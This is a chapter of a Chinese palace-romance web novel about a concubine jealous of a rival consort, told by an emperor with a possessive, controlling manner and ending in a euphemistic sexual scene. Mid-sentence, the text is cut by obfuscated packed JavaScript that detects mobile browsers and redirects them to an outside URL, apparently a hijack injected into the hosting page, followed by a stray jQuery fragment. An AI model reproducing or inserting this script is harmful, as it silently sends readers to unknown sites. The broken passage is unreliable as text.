回到乾清宫,李德全见徒弟庆海朝自己使眼色,陛下与郦美人独处时一贯不喜旁人侍奉,他便放心去了。
“这是出何事了?”
“师父,萧贵人来了,就在侧殿,徒儿实在是拦不住啊!”庆海苦丧着一张脸哭诉道,萧贵人身份高贵,又是太后娘娘亲侄女,自己只不过是御前大官人的徒弟,哪里敢阻呢。
李德全也知那位地位不一般,只抬手给了徒弟一个暴栗,便堆着笑进去禀告。
见陛下在桌前批阅奏折,而郦娘娘不在里头,李德全松了口气说罢,又去传萧贵人觐见。
此时的郦姎在内间同玉楼、金盏两个嬉戏。
她也是悄悄地打探些消息——
“陛下先前宠幸的宠妃,都是何种性子呀?”
玉楼看了眼真的开始思索的金盏,不动声色地碰了碰她,而后对着郦姎道:“娘娘作何问此?娘娘只消得自己的性子,陛下哪会不喜?”
郦姎很清楚自己的性子并不会得旁人喜欢,于是她不听玉楼的敷衍糊弄,转而去牵金盏,摇着她的袖子撒娇道:“金盏姐姐,好姐姐,你便告诉我吧!我保证不让旁人知晓。”
金盏心都化了,便凑近郦姎悄声道:“倒也无甚固定的,只是陛下应当喜听话乖巧的女子,先前贞美人便因此…”
“金盏!”看玉楼不赞同的眼神朝自己甩过来,她当即住了嘴道:“玉楼姐姐莫恼,我不说便是了——娘娘别为难奴婢了。”
玉楼叹了口气提议道:“娘娘若是担忧,不妨问问陛下?奴婢看着,陛下很是喜欢娘娘呢。”
心里大体有了几分底,郦姎故作恼怒地双手叉腰道:“你们两人敢糊弄本小主,罚你们去传本小主喜欢的糕点,否则……”
见两个人状似“害怕”地飞快跑走,郦姎歇了一口气。
明明是早已心知肚明的答案,她心里都克制不住的窒息与失望潮水般涌来。
恰巧听到外头若隐若现的谈话声,郦姎悄悄靠近用以遮挡的真珠帘,风吹帘动,她看见一脸羞涩、身着骑装的萧弄玉,她自信地展示着,口中还说着诸如“新梳的发髻”之类的话。
郦姎看不见陛下的表情,却猜想此时陛下的目光一定落在这个瞧着便欣喜不已的女子身上。
指尖悄悄掐进掌心,留下几个浅浅的月牙印,郦姎借珠帘的晃动亦在看萧弄玉的发髻——
不过是个寻常的堕马髻罢了,若我梳来,定然地她好看,陛下若是看到……
她猛地掐断自己翩飞的念头,心底却像被什么滚烫的东西烫了一下,又酸又胀。
与她所料一样,外头的人的确专注,只不过专注在意的人是她。
郦姎一靠近珠帘,谢承渊立时便知道了,知道她在里头望了许久都不曾动,他迫不及待想要看她此时此刻的模样。
于是谢承渊胡乱打发了萧贵人,在郦姎还没反应过来的时候掀开了帘子,她面上的难过之色彻底展露,虽然只是一刹那。
“央央怎么坐在这里?”谢承渊假意不曾看见她将才的神色,俯身将她打横抱了起来。
郦姎露出乖巧的笑容道:“嫔妾在等玉楼金盏上糕点呢。”
谢承渊抱着郦姎,没有立刻放下,而是就着这个姿势,走到窗边的软榻上坐下,依旧将她圈在怀里。
他仿佛没有察觉她那一闪而过的难过,指尖却有意无意地拂过她刚才掐出印子的掌心。
“糕点有什么好等的?”他声音低沉,带着笑意,目光却像蛛网一样细细密密地笼罩着她道:“等朕不好吗?”
郦姎被他看得无所遁形,只能将脸微微埋在他肩窝,掩饰情绪,声音闷闷地:“陛下是天子,哪需要嫔妾来等。”
“哦?”谢承渊挑眉,手指抬起她的下巴,迫使她看着自己,道:“朕的央央,何时变得这般懂规矩了?”
他话里有话,眼神玩味,似乎在戳破她刚才在珠帘后那些不规矩的小心思和小情绪。
郦姎心跳漏了一拍,生怕被他看穿,急忙找补:“嫔妾、嫔妾一直都很守规矩…”
“是么?”谢承渊低笑一声,不再追问,转而用指腹摩挲她的唇角,状似无意地问道:
“方才朕瞧见萧贵人新梳的发髻,倒有几分新奇。央央觉得呢?”
郦姎胡乱点了点头。
“是么?”谢承渊重复了一遍,目光紧锁着她,不放过她任何一丝细微的表情变化,“可朕觉得,那发髻太过板正,失了几分灵动。”
他语气平淡,却像在郦姎灰暗的心湖里投下了一颗石子。
她猛地抬眼,撞入他深邃的眼眸中。
不等她细想,谢承渊又凑近了些,鼻尖几乎要碰到她的,呼吸交融,语气带着一□□哄:
“朕倒是觉得,央央若是梳那般发髻,定然比她好看千百倍。不如……现下就梳给朕看看?”
“金盏!金盏!”郦姎扑腾着便要从榻上下来,口中高声唤着。
菱花镜里映出少女身影,乌发被金盏色巧手挽成堕马髻,几缕碎发垂在颊边,斜斜坠着颗莹白珍珠,随着呼吸轻轻晃。
她抬手轻触发髻,指尖刚碰到珍珠,镜中便映出双含笑的眼,眼尾微微上挑,连带着颊边梨涡也若隐若现。
郦姎刚要满意地站起来给陛下瞧见,便从镜中看见玉楼捧着东西似笑非笑地站在后头,她回身瞧见是一朱红色的衣裳,不觉有些脸热:
“这是陛下送来的?”
得到了肯定的回答后,郦姎心里泛上几抹甜意。
朱红的骑装裁得利落,腰间束着银纹革带,衬得原本清丽的身姿添了几分飒爽。
待换好衣裳转身,堕马髻被随手拨得松了些,几缕青丝垂在颈侧,莹白珍珠仍缀在发间,却与朱色衣料相映,少了几分柔媚,多了几分英气。
她抬手将鬓边珍珠别得更稳,镜中人眼尾笑意未散,却添了几分跃跃欲试的亮,倒像是即刻便能翻身上马,迎着风去赴一场春日宴。
谢承渊刚踏进来,便瞧见姑娘在铜镜前转着圈,目光彻底被这身影勾住。
宫女们已经识眼色地纷纷退了出去,郦姎状似不察陛下炽热目光一般,只羞涩道:“陛下觉得嫔妾、嫔妾比之萧姐姐如何?”
话刚说完,脸颊便又热了几分,忙垂眸避开他的目光,却没错过头顶传来的低笑。
谢承渊伸手将她颊边垂落的碎发别到耳后,指腹不经意擦过她温热的耳垂,声音沉而哑:“央央甚美,无人能及。”
他甚至有些后悔,央央若是穿着这身去秋猎,那起子宗室子不安分的眼神……
想到这里他不免有几分阴鸷,当即便揽着郦姎深深吻了下来,急风骤雨般,不多时郦姎便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16606297|187571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只能面色绯红、气喘吁吁地看着他了。
谢承渊这次却很快便放过了她,反倒是指了指她惯用的书桌道:“央央可要为朕分忧,去瞧瞧。”
郦姎顾不得羞涩,走过去拿起薄子一看,上头写着后宫娘娘的名字,唯有她的名字用朱红的笔打了个圈。
心中有几分猜想,她神色疑惑望向陛下。
“朕近日颇为头疼,央央不妨替朕择一择随行之人。”谢承渊说罢,大有让她随便选的意味其中。
可郦姎一个都不想选,光是瞧见那些名字她便心里头堵得慌。
她理了理裙角,另一只手趁势将砚台摆得近了些,人刚要坐下去,只听“咣珰”一声。
砚台被打翻在地,身上衣裳只沾了些许墨点,簿册却遭了殃,浸了墨汁已看不见其名字。
郦姎旋即屈身,十分懊恼道:“嫔妾实在是笨手笨脚……”
谢承渊看完了她的全部小动作,似笑非笑道:“央央此番可是要朕只带你一人秋猎?”
刚有几分欣喜,郦姎便意识到陛下应当只是在检查她是否“乖巧听话”与善解人意,刚要告罪便听陛下声音含笑:
“可以。”
她的眸子中此时盛满了不知所措的惊喜,思绪翩飞想着陛下是当真如此说的还是仅是试探。
“只是央央需应朕一样。”
他缓步走近,高大的身影压得郦姎后退几步,后背抵上书桌。
谢承渊在她面前站定,唇角勾起抹极淡的弧度:“央央砸了朕的砚台,毁了朕的簿册——”
他俯身,锦拂过她耳廊,声音低沉危险:“央央说,该怎么罚?”
郦姎被他气息烫得一哆嗦,几乎刹那间她便被抱着,放在柔软的锦被上,她的眼前闪过晃动的真珠帘。
随后谢承渊覆了上来,他身上的气息将她完全笼罩,郦姎只觉得耳畔烫得酥麻,心跳如擂鼓,几乎要撞出胸腔。
他俯身的动作带着一种缓慢而刻意的压迫,指尖掠过她微颤的颈侧,引得她一阵轻悸。
惹他厌的朱色骑装终究还是被他撕毁。
他解下腰间玉带,轻轻覆在少女眼上,牵着她的手,往幽深处缓步而去。
暖玉贴着冰润肌肤,在指尖摩挲下晕开淡淡的绯色,指尖循着朦胧轮廓,似在描摹山间隐现的溪痕。
久封的寒川忽遇暖阳,冰棱消融,化作细流蜿蜒,漾开细碎水光。
那抹流动的暖意刚要漫开——
他将那方染了绯色的暖玉递到她唇边。
郦姎微怔,唇间被温润填满,身不由己地轻咽,在细碎的挣动中,渐渐被满溢的温煦包裹。
不知过了多久,风浪渐息,她疲极地深陷于凌乱的锦被中,眼眸湿润失神,气息微弱。
谢承渊仍半覆着她,将盖在她眼睛上的玉带放了下来,指尖缠绵地一遍遍梳理着她汗湿的长发,亲亲她的鬓发。
他的目光却如同深不见底的寒潭,仔细地巡梭着她绯红未褪的脸颊、微肿的唇瓣以及身上可能留下的、属于他的任何细微痕迹。
朱红色的骑装早已被撕碎而后被无情地抛在地上,谢承渊想到将才怀中姑娘的事情倾城之色唯有自己一人独享,又克制不住地吻了吻她额角。
然后一点点擦去姑娘眼角的泪水与唇边一点白糖,起身去了暖阁浴房。